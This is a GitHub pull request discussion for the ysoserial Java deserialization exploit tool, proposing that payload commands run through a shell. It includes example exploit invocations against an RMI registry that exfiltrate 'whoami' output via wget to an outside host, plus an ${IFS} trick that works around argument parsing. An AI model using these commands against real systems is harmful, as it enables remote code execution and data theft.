Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

change Runtime exec(String) to exec(String[]) #60

Closed
wants to merge 1 commit into from
Closed

change Runtime exec(String) to exec(String[]) #60

wants to merge 1 commit into from

Conversation

retanoj
Copy link

@retanoj retanoj commented Nov 18, 2016

Java Runtime.getRuntime().exec(String cmd) is not a shell environment. It could not use cmd like "echo $(whoami)" which $(whoami) would be executed.
Runtime.getRuntime().exec("echo $(whoami)");
will print out : $(whoami)
but not : root

But we could make the String cmd in a shell environment like this
String[] cmd_arr = {"sh", "-c", "echo $(whoami)"};
Runtime.getRuntime().exec(String[] cmd_arr);
will print out : root

Or we could make StringTokenizer work appropriately that Runtime.getRuntime().exec use it to parse String cmd. A little ugly cmd like this
Runtime.getRuntime().exec("bash -c echo${IFS}$(whoami)");
will print out: root

So I change execArgs and exec parameters to make String command into a shell environment. After doing this, user could use
java -cp ysoserial-0.0.4-all.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections6 'wget selfhost.com/?$(whoami)'
instead of
java -cp ysoserial-0.0.4-all.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections6 'bash -c wget${IFS}selfhost.com/?$(whoami)'

@retanoj
Copy link
Author

retanoj commented Nov 18, 2016

Sorry for not considering Windows.
Maybe we could add a param like -win to switch exec() use String[]{"sh", "-c", xx} or String[]{"cmd.exe", "/c", xx}

@frohoff
Copy link
Owner

frohoff commented Sep 2, 2017

Closing this but opened #71 in it's place.

@frohoff frohoff closed this Sep 2, 2017
@hktalent
Copy link

@retanoj @frohoff
see #117

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

3 participants